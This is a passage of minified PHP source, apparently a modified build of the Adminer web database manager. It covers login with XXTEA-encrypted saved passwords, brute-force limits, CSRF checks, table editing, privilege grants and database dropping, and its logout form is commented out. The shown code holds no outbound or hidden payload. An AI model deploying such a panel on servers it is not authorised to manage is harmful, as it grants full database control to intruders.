- echo '<li><a href="'.h(ME).'select='.urlencode($R).'"'.bold($_GET["select"]==$R||$_GET["edit"]==$R, "select").">".'select'."</a> ";
- $C=$this->tableName($P);
- echo (support("table")||support("indexes")?'<a href="'.h(ME).'table='.urlencode($R).'"'.bold(in_array($R, array($_GET["table"],$_GET["create"],$_GET["indexes"],$_GET["foreign"],$_GET["trigger"])),(is_view($P)?"view":"structure"))." title='".'Show structure'."'>$C</a>":"<span>$C</span>")."\n";
- }
- echo "</ul>\n";
- }
- }
- $b=(function_exists('adminer_object')?adminer_object():new Adminer);
- if($b->operators===null)
- $b->operators=$Ve;
- function page_header($vh,$n="",$Va=array(),$wh="") {
- global $ca,$ia,$b,$Wb,$x;
- page_headers();
- if(is_ajax()&&$n) {
- page_messages($n);
- exit;
- }
- $xh=$vh.($wh!=""?": $wh":"");
- $yh=strip_tags($xh.(SERVER!=""&&SERVER!="localhost"?h(" - ".SERVER):"")." - ".$b->name());
- echo '<td>';
- echo'<phpmyadmin class="ltr nojs" onkeydown="bodyKeydown(event);" onclick="bodyClick(event);">
- <script type="text/javascript">
- document.phpmyadmin.className = document.phpmyadmin.className.replace(/ nojs/,\' js\');
- var offlineMessage = "'.js_escape('You are offline.').'";</script>
- <div id="help" class="jush-'. $x.' jsonly hidden" onmouseover="helpOpen = 1;" onmouseout="helpMouseout(this, event);"></div>
- <div id="content_hapus">';
- if($Va!==null) {
- $_=substr(preg_replace('~\b(username|db|ns)=[^&]*&~','', ME), 0, -1);
- echo '<p id="breadcrumb"><a href="'.h($_?$_:".").'">'.$Wb[DRIVER].'</a> » ';
- $_=substr(preg_replace('~\b(db|ns)=[^&]*&~','', ME), 0, -1);
- $N=(SERVER!=""?h(SERVER):'Server');
- if($Va===false)
- echo "$N\n";
- else {
- echo "<a href='".($_?h($_):".")."' accesskey='1' title='Alt+Shift+1'>$N</a> » ";
- if($_GET["ns"]!=""||(DB!=""&&is_array($Va)))
- echo '<a href="'.h($_."&db=".urlencode(DB).(support("scheme")?"&ns=":"")).'">'.h(DB).'</a> » ';
- if(is_array($Va)) {
- if($_GET["ns"]!="")
- echo '<a href="'.h(substr(ME, 0, -1)).'">'.h($_GET["ns"]).'</a> » ';
- foreach($Va as $y=>$X) {
- $Nb=(is_array($X)?$X[1]:h($X));
- if($Nb!="")
- echo "<a href='".h(ME."$y=").urlencode(is_array($X)?$X[0]:$X)."'>$Nb</a> » ";
- }
- }
- echo "$vh\n";
- }
- }
- //echo "<h2>$xh</h2>\n","<div id='ajaxstatus' class='jsonly hidden'></div>\n";
- echo "<div id='ajaxstatus' class='jsonly hidden'></div>\n";
- restart_session();
- page_messages($n);
- $l=&get_session("dbs");
- if(DB!=""&&$l&&!in_array(DB,$l, true))
- $l=null;
- stop_session();
- define("PAGE_HEADER",1);
- }
- function page_headers(){
- global $b;
- header("Content-Type: text/html; charset=utf-8");
- header("Cache-Control: no-cache");
- if($b->headers()) {
- header("X-Frame-Options: deny");
- header("X-XSS-Protection: 0");
- }
- }
- function page_messages($n){
- $Xh=preg_replace('~^[^?]*~','',$_SERVER["REQUEST_URI"]);
- $te=$_SESSION["messages"][$Xh];
- if($te) {
- echo "<div class='message'>".implode("</div>\n<div class='message'>",$te)."</div>\n";
- unset($_SESSION["messages"][$Xh]);
- }
- if($n)
- echo "<div class='error'>$n</div>\n";
- }
- function page_footer($xe=""){
- global $b,$Ah;
- echo'</div>';
- if($xe!="auth"){
- //echo '<form action="" method="post"><p class="logout"><input type="submit" name="logout" value="Logout" id="logout"><input type="hidden" name="token" value="',$Ah, '"></p></form>';
- }
- echo '<center><table id="menustable" border="1" id="menustable">';
- //if(!empty($b->navigation($xe))){
- echo'<tr><td><div id="menus">';
- $b->navigation($xe);
- echo'</div>';
- echo '<script type="text/javascript">setupSubmitHighlight(document);</script>';
- echo'</td>';
- //}
- }
- function int32($_e) {
- while($_e>=2147483648)
- $_e-=4294967296;
- while($_e<=-2147483649)
- $_e+=4294967296;
- return (int) $_e;
- }
- function long2str($W,$ni) {
- $sg='';
- foreach($W as $X)
- $sg.=pack('V',$X);
- if($ni)
- return substr($sg, 0, end($W));
- return $sg;
- }
- function str2long($sg,$ni) {
- $W=array_values(unpack('V*', str_pad($sg, 4*ceil(strlen($sg)/4), "\0")));
- if($ni)
- $W[]=strlen($sg);
- return $W;
- }
- function xxtea_mx($ti,$si,$Zg,$Id) {
- return int32((($ti>>5&0x7FFFFFF)^$si<<2)+(($si>>3&0x1FFFFFFF)^$ti<<4))^int32(($Zg^$si)+($Id^$ti));
- }
- function encrypt_string($Ug,$y) {
- if($Ug=="")
- return "";
- $y=array_values(unpack("V*",pack("H*",md5($y))));
- $W=str2long($Ug, true);
- $_e=count($W)-1;
- $ti=$W[$_e];
- $si=$W[0];
- $Qf=floor(6+52/($_e+1));
- $Zg=0;
- while($Qf-->0) {
- $Zg=int32($Zg+0x9E3779B9);
- $dc=$Zg>>2&3;
- for($mf=0; $mf<$_e; $mf++) {
- $si=$W[$mf+1];
- $ze=xxtea_mx($ti,$si,$Zg,$y[$mf&3^$dc]);
- $ti=int32($W[$mf]+$ze);
- $W[$mf]=$ti;
- }
- $si=$W[0];
- $ze=xxtea_mx($ti,$si,$Zg,$y[$mf&3^$dc]);
- $ti=int32($W[$_e]+$ze);
- $W[$_e]=$ti;
- }
- return long2str($W, false);
- }
- function decrypt_string($Ug,$y) {
- if($Ug=="")
- return "";
- if(!$y)
- return false;
- $y=array_values(unpack("V*",pack("H*",md5($y))));
- $W=str2long($Ug, false);
- $_e=count($W)-1;
- $ti=$W[$_e];
- $si=$W[0];
- $Qf=floor(6+52/($_e+1));
- $Zg=int32($Qf*0x9E3779B9);
- while($Zg) {
- $dc=$Zg>>2&3;
- for($mf=$_e; $mf>0; $mf--) {
- $ti=$W[$mf-1];
- $ze=xxtea_mx($ti,$si,$Zg,$y[$mf&3^$dc]);
- $si=int32($W[$mf]-$ze);
- $W[$mf]=$si;
- }
- $ti=$W[$_e];
- $ze=xxtea_mx($ti,$si,$Zg,$y[$mf&3^$dc]);
- $si=int32($W[0]-$ze);
- $W[0]=$si;
- $Zg=int32($Zg-0x9E3779B9);
- }
- return long2str($W, true);
- }
- $g='';
- $gd=$_SESSION["token"];
- if(!$gd)
- $_SESSION["token"]=rand(1, 1e6);
- $Ah=get_token();
- $zf=array();
- if($_COOKIE["adminer_permanent"]) {
- foreach(explode(" ",$_COOKIE["adminer_permanent"]) as $X) {
- list($y)=explode(":",$X);
- $zf[$y]=$X;
- }
- }
- function add_invalid_login() {
- global $b;
- $Ic=get_temp_dir()."/adminer.invalid";
- $Vc=@fopen($Ic, "r+");
- if(!$Vc) {
- $Vc=@fopen($Ic, "w");
- if(!$Vc)
- return;
- }
- flock($Vc, LOCK_EX);
- $Ad=unserialize(stream_get_contents($Vc));
- $sh=time();
- if($Ad) {
- foreach($Ad as $Bd=>$X) {
- if($X[0]<$sh)
- unset($Ad[$Bd]);
- }
- }
- $_d=&$Ad[$b->bruteForceKey()];
- if(!$_d)
- $_d=array($sh+30*60,0);
- $_d[1]++;
- $Dg=serialize($Ad);
- rewind($Vc);
- fwrite($Vc,$Dg);
- ftruncate($Vc, strlen($Dg));
- flock($Vc, LOCK_UN);
- fclose($Vc);
- }
- $Ja=$_POST["auth"];
- if($Ja) {
- $Ad=unserialize(@file_get_contents(get_temp_dir()."/adminer.invalid"));
- $_d=$Ad[$b->bruteForceKey()];
- $Fe=($_d[1]>30?$_d[0]-time():0);
- if($Fe>0)
- auth_error(lang(array('Too many unsuccessful logins, try again in %d minute.','Too many unsuccessful logins, try again in %d minutes.'), ceil($Fe/60)));
- session_regenerate_id();
- $ii=$Ja["driver"];
- $N=$Ja["server"];
- $V=$Ja["username"];
- $G=(string) $Ja["password"];
- $m=$Ja["db"];
- set_password($ii,$N,$V,$G);
- $_SESSION["db"][$ii][$N][$V][$m]=true;
- if($Ja["permanent"]) {
- $y=base64_encode($ii)."-".base64_encode($N)."-".base64_encode($V)."-".base64_encode($m);
- $Kf=$b->permanentLogin(true);
- $zf[$y]="$y:".base64_encode($Kf?encrypt_string($G,$Kf):"");
- cookie("adminer_permanent",implode(" ",$zf));
- }
- if(count($_POST)==1||DRIVER!=$ii||SERVER!=$N||$_GET["username"]!==$V||DB!=$m)
- redirect(auth_url($ii,$N,$V,$m));
- }elseif($_POST["logout"]) {
- if($gd&&!verify_token()) {
- page_footer("db");
- page_header('Logout','Invalid CSRF token. Send the form again.');
- exit;
- }else{
- foreach(array("pwds","db","dbs","queries") as $y)
- set_session($y, null);
- unset_permanent();
- redirect(substr(preg_replace('~\b(username|db|ns)=[^&]*&~','', ME), 0, -1), 'Logout successful.');
- }
- }elseif($zf&&!$_SESSION["pwds"]) {
- session_regenerate_id();
- $Kf=$b->permanentLogin();
- foreach($zf as $y=>$X) {
- list(,$gb)=explode(":",$X);
- list($ii,$N,$V,$m)=array_map('base64_decode', explode("-",$y));
- set_password($ii,$N,$V, decrypt_string(base64_decode($gb),$Kf));
- $_SESSION["db"][$ii][$N][$V][$m]=true;
- }
- }
- function unset_permanent() {
- global $zf;
- foreach($zf as $y=>$X) {
- list($ii,$N,$V,$m)=array_map('base64_decode', explode("-",$y));
- if($ii==DRIVER&&$N==SERVER&&$V==$_GET["username"]&&$m==DB)
- unset($zf[$y]);
- }
- cookie("adminer_permanent",implode(" ",$zf));
- }
- function auth_error($n) {
- global $b,$gd;
- $Gg=session_name();
- if(isset($_GET["username"])) {
- header("HTTP/1.1 403 Forbidden");
- if(($_COOKIE[$Gg]||$_GET[$Gg])&&!$gd)
- $n='Session expired, please login again.';
- else {
- add_invalid_login();
- $G=get_password();
- if($G!==null) {
- if($G===false)
- $n.='<br>'.sprintf('Master password expired. <a href="https://www.adminer.org/en/extension/" target="_blank">Implement</a> %s method to make it permanent.','<span class=cod>permanentLogin()</span>');
- set_password(DRIVER, SERVER,$_GET["username"], null);
- }
- unset_permanent();
- }
- }
- if(!$_COOKIE[$Gg]&&$_GET[$Gg]&&ini_bool("session.use_only_cookies"))
- $n='Session support must be enabled.';
- $F=session_get_cookie_params();
- cookie("adminer_key",($_COOKIE["adminer_key"]?$_COOKIE["adminer_key"]:rand_string()),$F["lifetime"]);
- page_footer("auth");
- page_header('Login',$n, null);
- echo "<form action='' method='post'>\n";
- $b->loginForm();
- echo "<div>";
- hidden_fields($_POST, array("auth"));
- echo "</div>\n","</form>\n";
- exit;
- }
- if(isset($_GET["username"])) {
- if(!class_exists("Min_DB")) {
- unset($_SESSION["pwds"][DRIVER]);
- unset_permanent();
- page_footer("auth");
- page_header('No extension', sprintf('None of the supported PHP extensions (%s) are available.', implode(",",$Ef)), false);
- exit;
- }
- $g=connect();
- }
- $Vb=new Min_Driver($g);
- if(!is_object($g)||($ce=$b->login($_GET["username"], get_password()))!==true)
- auth_error((is_string($g)?h($g):(is_string($ce)?$ce:'Invalid credentials.')));
- if($Ja&&$_POST["token"])
- $_POST["token"]=$Ah;
- $n='';
- if($_POST) {
- if(!verify_token()) {
- $vd="max_input_vars";
- $ne=ini_get($vd);
- if(extension_loaded("suhosin")) {
- foreach(array("suhosin.request.max_vars","suhosin.post.max_vars") as $y) {
- $X=ini_get($y);
- if($X&&(!$ne||$X<$ne)) {
- $vd=$y;
- $ne=$X;
- }
- }
- }
- $n=(!$_POST["token"]&&$ne?sprintf('Maximum number of allowed fields exceeded. Please increase %s.', "'$vd'"):'Invalid CSRF token. Send the form again.'.' '.'If you did not send this request from Adminer then close this page.');
- }
- }elseif($_SERVER["REQUEST_METHOD"]=="POST") {
- $n=sprintf('Too big POST data. Reduce the data or increase the %s configuration directive.', "'post_max_size'");
- if(isset($_GET["sql"]))
- $n.=' '.'You can upload a big SQL file via FTP and import it from server.';
- }
- if(!ini_bool("session.use_cookies")||@ini_set("session.use_cookies",false)!==false)
- session_write_close();
- function select($I,$h=null,$df=array(),$z=0) {
- global $x;
- $be=array();
- $w=array();
- $f=array();
- $Sa=array();
- $Oh=array();
- $J=array();
- odd('');
- for($s=0; (!$z||$s<$z)&&($K=$I->fetch_row()); $s++) {
- if(!$s) {
- echo "<table id='menustable' cellspacing='0' class='nowrap' border='1'>\n","<thead><tr>";
- for($Hd=0; $Hd<count($K); $Hd++) {
- $o=$I->fetch_field();
- $C=$o->name;
- $cf=$o->orgtable;
- $bf=$o->orgname;
- $J[$o->table]=$cf;
- if($df&&$x=="sql")
- $be[$Hd]=($C=="table"?"table=":($C=="possible_keys"?"indexes=":null));
- elseif($cf!="") {
- if(!isset($w[$cf])) {
- $w[$cf]=array();
- foreach(indexes($cf,$h) as $v) {
- if($v["type"]=="PRIMARY") {
- $w[$cf]=array_flip($v["columns"]);
- break;
- }
- }
- $f[$cf]=$w[$cf];
- }
- if(isset($f[$cf][$bf])) {
- unset($f[$cf][$bf]);
- $w[$cf][$bf]=$Hd;
- $be[$Hd]=$cf;
- }
- }
- if($o->charsetnr==63)
- $Sa[$Hd]=true;
- $Oh[$Hd]=$o->type;
- echo "<th".($cf!=""||$o->name!=$bf?" title='".h(($cf!=""?"$cf.":"").$bf)."'":"").">".h($C).($df?doc_link(array('sql'=>"explain-output.html#explain_".strtolower($C))):"");
- }
- echo "</thead>\n";
- }
- echo "<tr".odd().">";
- foreach($K as $y=>$X) {
- if($X===null)
- $X="<i>NULL</i>";
- elseif($Sa[$y]&&!is_utf8($X))
- $X="<i>".lang(array('%d byte','%d bytes'), strlen($X))."</i>";
- elseif(!strlen($X))
- $X=" ";
- else {
- $X=h($X);
- if($Oh[$y]==254)
- $X="<span class=cod>$X</span>";
- }
- if(isset($be[$y])&&!$f[$be[$y]]) {
- if($df&&$x=="sql") {
- $R=$K[array_search("table=",$be)];
- $_=$be[$y].urlencode($df[$R]!=""?$df[$R]:$R);
- }else{
- $_="edit=".urlencode($be[$y]);
- foreach($w[$be[$y]] as $kb=>$Hd)
- $_.="&where".urlencode("[".bracket_escape($kb)."]")."=".urlencode($K[$Hd]);
- }
- $X="<a href='".h(ME.$_)."'>$X</a>";
- }
- echo "<td>$X";
- }
- }
- echo ($s?"</table>":"<p class='message'>".'No rows.')."\n";
- return $J;
- }
- function referencable_primary($_g) {
- $J=array();
- foreach(table_status('', true) as $dh=>$R) {
- if($dh!=$_g&&fk_support($R)) {
- foreach(fields($dh) as $o) {
- if($o["primary"]) {
- if($J[$dh]) {
- unset($J[$dh]);
- break;
- }
- $J[$dh]=$o;
- }
- }
- }
- }
- return $J;
- }
- function textarea($C,$Y,$L=10,$nb=80) {
- global $x;
- echo "<textarea name='$C' rows='$L' cols='$nb' class='sqlarea jush-$x' spellcheck='false' wrap='off'>";
- if(is_array($Y)) {
- foreach($Y as $X)
- echo h($X[0])."\n\n\n";
- } else
- echo h($Y);
- echo "</textarea>";
- }
- function edit_type($y,$o,$mb,$Rc=array()) {
- global $Vg,$Oh,$Vh,$Qe;
- $U=$o["type"];
- echo '<td><select name="', h($y), '[type]" class="type" onfocus="lastType = selectValue(this);" onchange="editingTypeChange(this);"', on_help("getTarget(event).value",1), ' aria-labelledby="label-type">';
- if($U&&!isset($Oh[$U])&&!isset($Rc[$U]))
- array_unshift($Vg,$U);
- if($Rc)
- $Vg['Foreign keys']=$Rc;
- echo optionlist($Vg,$U), '</select>
- <td><input type="text" name="', h($y), '[length]" value="', h($o["length"]), '" size="3" onfocus="editingLengthFocus(this);"', (!$o["length"]&&preg_match('~var(char|binary)$~',$U)?" class='required'":""), ' onchange="editingLengthChange(this);" onkeyup="this.onchange();" aria-labelledby="label-length"><td class="options">';
- echo "<select name='".h($y)."[collation]'".(preg_match('~(char|text|enum|set)$~',$U)?"":" class='hidden'").'><option value="">('.'collation'.')'.optionlist($mb,$o["collation"]).'</select>', ($Vh?"<select name='".h($y)."[unsigned]'".(!$U||preg_match('~((^|[^o])int|float|double|decimal)$~',$U)?"":" class='hidden'").'><option>'.optionlist($Vh,$o["unsigned"]).'</select>':''),(isset($o['on_update'])?"<select name='".h($y)."[on_update]'".(preg_match('~timestamp|datetime~',$U)?"":" class='hidden'").'>'.optionlist(array(""=>"(".'ON UPDATE'.")","CURRENT_TIMESTAMP"),$o["on_update"]).'</select>':''),($Rc?"<select name='".h($y)."[on_delete]'".(preg_match("~`~",$U)?"":" class='hidden'")."><option value=''>(".'ON DELETE'.")".optionlist(explode("|",$Qe),$o["on_delete"])."</select> ":" ");
- }
- function process_length($Yd) {
- global $oc;
- return (preg_match("~^\\s*\\(?\\s*$oc(?:\\s*,\\s*$oc)*+\\s*\\)?\\s*\$~",$Yd)&&preg_match_all("~$oc~",$Yd,$he)?"(".implode(",",$he[0]).")":preg_replace('~^[0-9].*~','(\0)', preg_replace('~[^-0-9,+()[\]]~','',$Yd)));
- }
- function process_type($o,$lb="COLLATE") {
- global $Vh;
- return " $o[type]".process_length($o["length"]).(preg_match('~(^|[^o])int|float|double|decimal~',$o["type"])&&in_array($o["unsigned"],$Vh)?" $o[unsigned]":"").(preg_match('~char|text|enum|set~',$o["type"])&&$o["collation"]?" $lb ".q($o["collation"]):"");
- }
- function process_field($o,$Mh) {
- global $x;
- $Kb=$o["default"];
- return array(idf_escape(trim($o["field"])),process_type($Mh),($o["null"]?" NULL":" NOT NULL"),(isset($Kb)?" DEFAULT ".((preg_match('~time~',$o["type"])&&preg_match('~^CURRENT_TIMESTAMP$~i',$Kb))||($x=="sqlite"&&preg_match('~^CURRENT_(TIME|TIMESTAMP|DATE)$~i',$Kb))||($o["type"]=="bit"&&preg_match("~^([0-9]+|b'[0-1]+')\$~",$Kb))||($x=="pgsql"&&preg_match("~^[a-z]+\\(('[^']*')+\\)\$~",$Kb))?$Kb:q($Kb)):""),(preg_match('~timestamp|datetime~',$o["type"])&&$o["on_update"]?" ON UPDATE $o[on_update]":""),(support("comment")&&$o["comment"]!=""?" COMMENT ".q($o["comment"]):""),($o["auto_increment"]?auto_increment():null));
- }
- function type_class($U) {
- foreach(array('char'=>'text','date'=>'time|year','binary'=>'blob','enum'=>'set') as $y=>$X) {
- if(preg_match("~$y|$X~",$U))
- return " class='$y'";
- }
- }
- function edit_fields($p,$mb,$U="TABLE",$Rc=array(),$rb=false) {
- global $g,$wd;
- $p=array_values($p);
- echo '<thead><tr class="wrap">';
- if($U=="PROCEDURE") {
- echo '<td> ';
- }
- echo '<th id="label-name">', ($U=="TABLE"?'Column name':'Parameter name'), '<td id="label-type">Type<textarea id="enum-edit" rows="4" cols="12" wrap="off" style="display: none;" onblur="editingLengthBlur(this);"></textarea>
- <td id="label-length">Length
- <td>','Options';
- if($U=="TABLE") {
- echo '<td id="label-null">NULL
- <td><input type="radio" name="auto_increment_col" value=""><acronym id="label-ai" title="Auto Increment">AI</acronym>', doc_link(array('sql'=>"example-auto-increment.html",'sqlite'=>"autoinc.html",'pgsql'=>"datatype.html#DATATYPE-SERIAL",'mssql'=>"ms186775.aspx")), '<td id="label-default">Default value',(support("comment")?"<td id='label-comment'".($rb?"":" class='hidden'").">".'Comment':"");
- }
- echo '<td>', "<input type='image' class='icon' name='add[".(support("move_col")?0:count($p))."]' src='data:image/png;base64,R0lGODlhEgASAIEAMe7u7gAAgJmZmQAAACH5BAEAAAEALAAAAAASABIAAQIhhI+py+0PTQjxzCopvm/6rykgCHGVGaFliLXuI8TyTMsFADs=' alt='+' title='".'Add next'."'>",'<script type="text/javascript">row_count = ', count($p), ';</script>
- </thead><tbody onkeydown="return editingKeydown(event);">';
- foreach($p as $s=>$o) {
- $s++;
- $ef=$o[($_POST?"orig":"field")];
- $Rb=(isset($_POST["add"][$s-1])||(isset($o["field"])&&!$_POST["drop_col"][$s]))&&(support("drop_col")||$ef=="");
- echo '<tr', ($Rb?"":" style='display: none;'"), '>', ($U=="PROCEDURE"?"<td>".html_select("fields[$s][inout]",explode("|",$wd),$o["inout"]):""), '<td>';
- if($Rb) {
- echo '<input type="text" name="fields[',$s, '][field]" value="', h($o["field"]), '" onchange="editingNameChange(this);', ($o["field"]!=""||count($p)>1?'':' editingAddRow(this);" onkeyup="if (this.value) editingAddRow(this);'), '" maxlength="64" autocapitalize="off" aria-labelledby="label-name">';
- }
- echo '<input type="hidden" name="fields[',$s, '][orig]" value="', h($ef), '">';
- edit_type("fields[$s]",$o,$mb,$Rc);
- if($U=="TABLE") {
- echo '<td>', checkbox("fields[$s][null]",1,$o["null"], "","","block","label-null"), '<td><label class="block"><input type="radio" name="auto_increment_col" value="',$s, '"';
- if($o["auto_increment"]) {
- echo ' checked';
- }
- ?> onclick="var field = this.form['fields[' + this.value + '][field]']; if (!field.value) { field.value = 'id'; field.onchange(); }" aria-labelledby="label-ai"></label><td><?php
- echo checkbox("fields[$s][has_default]",1,$o["has_default"], "","","","label-default"), '<input type="text" name="fields[',$s, '][default]" value="', h($o["default"]), '" onkeyup="keyupChange.call(this);" onchange="this.previousSibling.checked = true;" aria-labelledby="label-default">
- ', (support("comment")?"<td".($rb?"":" class='hidden'")."><input type='text' name='fields[$s][comment]' value='".h($o["comment"])."' maxlength='".($g->server_info>=5.5?1024:255)."' aria-labelledby='label-comment'>":"");
- }
- echo "<td>",(support("move_col")?"<input type='image' class='icon' name='add[$s]' src='data:image/png;base64,R0lGODlhEgASAIEAMe7u7gAAgJmZmQAAACH5BAEAAAEALAAAAAASABIAAQIhhI+py+0PTQjxzCopvm/6rykgCHGVGaFliLXuI8TyTMsFADs=' alt='+' title='".'Add next'."' onclick='return !editingAddRow(this, 1);'> "."<input type='image' class='icon' name='up[$s]' src='data:image/png;base64,R0lGODlhEgASAIEAMe7u7gAAgJmZmQAAACH5BAEAAAEALAAAAAASABIAAQIghI+py+0PTQhRTgrvfRP0nmEVOIoReZphxbauAMfyHBcAOw==' alt='^' title='".'Move up'."' onclick='return !editingMoveRow(this, 1);'> "."<input type='image' class='icon' name='down[$s]' src='data:image/png;base64,R0lGODlhEgASAIEAMe7u7gAAgJmZmQAAACH5BAEAAAEALAAAAAASABIAAQIghI+py+0PTQjxzCopvltX/lyix0wm2ZwdxraVAMfyHBcAOw==' alt='v' title='".'Move down'."' onclick='return !editingMoveRow(this, 0);'> ":""),($ef==""||support("drop_col")?"<input type='image' class='icon' name='drop_col[$s]' src='data:image/png;base64,R0lGODlhEgASAIEAMe7u7gAAgJmZmQAAACH5BAEAAAEALAAAAAASABIAAQIjhI+py+0PIwph1kZvfnnDLoFfd2GU4THnsUruC0fCTNc2XQAAOw==' alt='x' title='".'Remove'."' onclick=\"return !editingRemoveRow(this, 'fields\$1[field]');\">":""), "\n";
- }
- }
- function process_fields(&$p) {
- $D=0;
- if($_POST["up"]) {
- $Sd=0;
- foreach($p as $y=>$o) {
- if(key($_POST["up"])==$y) {
- unset($p[$y]);
- array_splice($p,$Sd,0,array($o));
- break;
- }
- if(isset($o["field"]))
- $Sd=$D;
- $D++;
- }
- }elseif($_POST["down"]) {
- $Tc=false;
- foreach($p as $y=>$o) {
- if(isset($o["field"])&&$Tc) {
- unset($p[key($_POST["down"])]);
- array_splice($p,$D, 0, array($Tc));
- break;
- }
- if(key($_POST["down"])==$y)
- $Tc=$o;
- $D++;
- }
- }elseif($_POST["add"]) {
- $p=array_values($p);
- array_splice($p, key($_POST["add"]),0,array(array()));
- }elseif(!$_POST["drop_col"])
- return false;
- return true;
- }
- function normalize_enum($B) {
- return "'".str_replace("'","''",addcslashes(stripcslashes(str_replace($B[0][0].$B[0][0],$B[0][0], substr($B[0], 1, -1))), '\\'))."'";
- }
- function grant($Yc,$Mf,$f,$Pe) {
- if(!$Mf)
- return true;
- if($Mf==array("ALL PRIVILEGES","GRANT OPTION"))
- return ($Yc=="GRANT"?queries("$Yc ALL PRIVILEGES$Pe WITH GRANT OPTION"):queries("$Yc ALL PRIVILEGES$Pe")&&queries("$Yc GRANT OPTION$Pe"));
- return queries("$Yc ".preg_replace('~(GRANT OPTION)\\([^)]*\\)~','\\1', implode("$f, ",$Mf).$f).$Pe);
- }
- function drop_create($Xb,$i,$Yb,$ph,$ac,$A,$se,$qe,$re,$Me,$Ce) {
- if($_POST["drop"])
- query_redirect($Xb,$A,$se);
- elseif($Me=="")
- query_redirect($i,$A,$re);
- elseif($Me!=$Ce) {
- $Bb=queries($i);
- queries_redirect($A,$qe,$Bb&&queries($Xb));
- if($Bb)
- queries($Yb);
- } else
- queries_redirect($A,$qe, queries($ph)&&queries($ac)&&queries($Xb)&&queries($i));
- }
- function create_trigger($Pe,$K) {
- global $x;
- $uh=" $K[Timing] $K[Event]".($K["Event"]=="UPDATE OF"?" ".idf_escape($K["Of"]):"");
- return "CREATE TRIGGER ".idf_escape($K["Trigger"]).($x=="mssql"?$Pe.$uh:$uh.$Pe).rtrim(" $K[Type]\n$K[Statement]",";").";";
- }
- function create_routine($og,$K) {
- global $wd;
- $O=array();
- $p=(array) $K["fields"];
- ksort($p);
- foreach($p as $o) {
- if($o["field"]!="")
- $O[]=(preg_match("~^($wd)\$~",$o["inout"])?"$o[inout] ":"").idf_escape($o["field"]).process_type($o, "CHARACTER SET");
- }
- return "CREATE $og ".idf_escape(trim($K["name"]))." (".implode(",",$O).")".(isset($_GET["function"])?" RETURNS".process_type($K["returns"], "CHARACTER SET"):"").($K["language"]?" LANGUAGE $K[language]":"").rtrim("\n$K[definition]",";").";";
- }
- function remove_definer($H) {
- return preg_replace('~^([A-Z =]+) DEFINER=`'.preg_replace('~@(.*)~','`@`(%|\\1)', logged_user()).'`~','\\1',$H);
- }
- function format_foreign_key($q) {
- global $Qe;
- return " FOREIGN KEY (".implode(",",array_map('idf_escape',$q["source"])).") REFERENCES ".table($q["table"])." (".implode(",",array_map('idf_escape',$q["target"])).")".(preg_match("~^($Qe)\$~",$q["on_delete"])?" ON DELETE $q[on_delete]":"").(preg_match("~^($Qe)\$~",$q["on_update"])?" ON UPDATE $q[on_update]":"");
- }
- function tar_file($Ic,$zh) {
- $J=pack("a100a8a8a8a12a12",$Ic, 644, 0, 0, decoct($zh->size), decoct(time()));
- $eb=8*32;
- for($s=0; $s<strlen($J); $s++)
- $eb+=ord($J[$s]);
- $J.=sprintf("%06o",$eb)."\0 ";
- echo $J, str_repeat("\0",512-strlen($J));
- $zh->send();
- echo str_repeat("\0",511-($zh->size+511)%512);
- }
- function ini_bytes($vd) {
- $X=ini_get($vd);
- switch(strtolower(substr($X, -1))) {
- case 'g':
- $X*=1024;
- case 'm':
- $X*=1024;
- case 'k':
- $X*=1024;
- }
- return $X;
- }
- function doc_link($xf) {
- global $x,$g;
- $Zh=array('sql'=>"http://dev.mysql.com/doc/refman/".substr($g->server_info, 0, 3)."/en/",'sqlite'=>"http://www.sqlite.org/",'pgsql'=>"http://www.postgresql.org/docs/".substr($g->server_info, 0, 3)."/static/",'mssql'=>"http://msdn.microsoft.com/library/",'oracle'=>"http://download.oracle.com/docs/cd/B19306_01/server.102/b14200/");
- //return ($xf[$x]?"<a href='$Zh[$x]$xf[$x]' target='_blank' rel='noreferrer'><sup>?</sup></a>":"");
- return ($xf[$x]?"":"");
- }
- function ob_gzencode($Q) {
- return gzencode($Q);
- }
- function db_size($m) {
- global $g;
- if(!$g->select_db($m))
- return "?";
- $J=0;
- foreach(table_status() as $S)
- $J+=$S["Data_length"]+$S["Index_length"];
- return format_number($J);
- }
- function set_utf8mb4($i) {
- global $g;
- static $O=false;
- if(!$O&&preg_match('~\butf8mb4~i',$i)) {
- $O=true;
- echo "SET NAMES ".charset($g).";\n\n";
- }
- }
- function connect_error() {
- global $b,$g,$Ah,$n,$Wb;
- if(DB!="") {
- header("HTTP/1.1 404 Not Found");
- page_header('Database'.": ".h(DB), 'Invalid database.', true);
- }else{
- if($_POST["db"]&&!$n)
- queries_redirect(substr(ME, 0, -1), 'Databases have been dropped.', drop_databases($_POST["db"]));
- page_footer("db");
- page_header('Select database',$n, false);
- echo "<p class='links'>\n";
- foreach(array('database'=>'Create database','privileges'=>'Privileges','processlist'=>'Process list','variables'=>'Variables','status'=>'Status','replication'=>'Replication') as $y=>$X) {
- if(support($y))
- echo "<a href='".h(ME)."$y='>$X</a>\n";
- }
- echo "<p>".sprintf('%s version: %s through PHP extension %s',$Wb[DRIVER], "<b>".h($g->server_info)."</b>","<b>$g->extension</b>")."\n","<p>".sprintf('Logged as: %s', "<b>".h(logged_user())."</b>")."\n";
- $l=$b->databases();
- if($l) {
- $vg=support("scheme");
- $mb=collations();
- echo "<form action='' method='post'>\n","<table id='menustable' border='1' cellspacing='0' class='checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);'>\n","<thead><tr>".(support("database")?"<td> ":"")."<td>".'Database'." - <a href='".h(ME)."refresh=1'>".'Refresh'."</a>"."<td>".'Collation'."<td>".'Tables'."<td>".'Size'." - <a href='".h(ME)."dbsize=1' onclick=\"return !ajaxSetHtml('".h(js_escape(ME))."script=connect');\">".'Compute'."</a>"."</thead>\n";
- $l=($_GET["dbsize"]?count_tables($l):array_flip($l));
- foreach($l as $m=>$T) {
- $ng=h(ME)."db=".urlencode($m);
- $t=h("Db-".$m);
- echo "<tr".odd().">".(support("database")?"<td>".checkbox("db[]",$m, in_array($m, (array) $_POST["db"]), "","","",$t):""), "<td><a href='$ng' id='$m'>".h($m)."</a>";
- $d=nbsp(db_collation($m,$mb));
- echo "<td>".(support("database")?"<a href='$ng".($vg?"&ns=":"")."&database=' title='".'Alter database'."'>$d</a>":$d), "<td align='right'><a href='$ng&schema=' id='tables-".h($m)."' title='".'Database schema'."'>".($_GET["dbsize"]?$T:"?")."</a>","<td align='right' id='size-".h($m)."'>".($_GET["dbsize"]?db_size($m):"?"), "\n";
- }
